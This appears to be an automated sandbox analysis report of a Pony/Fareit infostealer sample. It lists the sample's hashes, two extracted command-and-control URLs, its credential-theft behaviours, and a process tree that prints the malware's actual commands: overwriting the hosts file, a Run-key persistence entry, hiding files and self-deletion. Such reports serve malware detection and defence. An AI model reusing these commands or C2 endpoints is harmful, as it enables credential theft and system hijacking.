Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-10-2024 19:31

General

  • Target

    63ebf64aea416da73b78c128bd0de978_JaffaCakes118.exe

  • Size

    65KB

  • MD5

    63ebf64aea416da73b78c128bd0de978

  • SHA1

    25cfb9cbbad8a3415b800973c430f61e45f0e6c0

  • SHA256

    0178e0072fa6bd34a21af2edf4182deb0e3df20b11b9a31794da6cf98d5a5de0

  • SHA512

    e07b0beac0743da6e9d8b28acb860d7795a4ac2b56108d41ac5f7c40097829472f4fd6503a313ff94e95216bca3b4affa4fe2d21e2a98d61c29c65a8ab336117

  • SSDEEP

    1536:elB1zq+5hRpfvE7IxEos7PcF+KPmfRuUf/cDJUw9n6ns+jdzAqjq4yvGp:ezxEVPA+qmfR5CJUxs+SQeGp

Malware Config

Extracted

Family

pony

C2

http://jarkiy.info:2346/porno.php

http://sulikg.info:2346/porno.php

Signatures

  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Drops file in Drivers directory 4 IoCs
  • Deletes itself 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\63ebf64aea416da73b78c128bd0de978_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\63ebf64aea416da73b78c128bd0de978_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1528
    • \??\c:\users\admin\appdata\local\temp\63ebf64aea416da73b78c128bd0de978_jaffacakes118.exe
      "c:\users\admin\appdata\local\temp\63ebf64aea416da73b78c128bd0de978_jaffacakes118.exe"
      2⤵
      • Drops file in Drivers directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2360
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c copy %WINDIR%\system32\drivers\etc\hosts %WINDIR%\system32\drivers\etc\hosts.sam /Y && at 19:34:00 cmd.exe /c copy %TEMP%\259428180FdOh %WINDIR%\system32\drivers\etc\hosts /Y
        3⤵
        • Drops file in Drivers directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:948
        • C:\Windows\SysWOW64\at.exe
          at 19:34:00 cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\259428180FdOh C:\Windows\system32\drivers\etc\hosts /Y
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1696
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 259428211 /t REG_SZ /d "cmd.exe /c copy %TEMP%\259428180FdOh %WINDIR%\system32\drivers\etc\hosts /Y && attrib +H %WINDIR%\system32\drivers\etc\hosts /f
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2352
        • C:\Windows\SysWOW64\reg.exe
          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 259428211 /t REG_SZ /d "cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\259428180FdOh C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts /f
          4⤵
          • Adds Run key to start application
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:2060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c ping -n 10 127.0.0.1 > NUL && del "c:\users\admin\appdata\local\temp\63ebf64aea416da73b78c128bd0de978_jaffacakes118.exe"
        3⤵
        • Deletes itself
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:888
        • C:\Windows\SysWOW64\PING.EXE
          ping -n 10 127.0.0.1
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2076
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {2A7A199E-CD4B-4822-9CF0-8BD671DDB1FC} S-1-5-18:NT AUTHORITY\System:Service:
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\system32\cmd.exe
      cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\259428180FdOh C:\Windows\system32\drivers\etc\hosts /Y
      2⤵
      • Drops file in Drivers directory
      PID:320

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\259428180FdOh

    Filesize

    1KB

    MD5

    5239ac88f0452412c6f30c410c6b2a8a

    SHA1

    904a0f847a5a694a3e6f83d5211958459a1ef283

    SHA256

    8aadd1e55014931e9ed725abf570070728d5ae47304b81e076b83ce683e02b64

    SHA512

    d1ff882ba20d5a695ba53229e0db7fe3ef20f70a16fcc5deed47d771d37bd3f486f8f73dc4392b416260f976cdb61f12548ad1411328c12936e8daa63b02604f

  • memory/2360-0-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2360-2-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2360-8-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2360-6-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2360-4-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2360-3-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2360-11-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2360-10-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2360-9-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2360-15-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2360-24-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB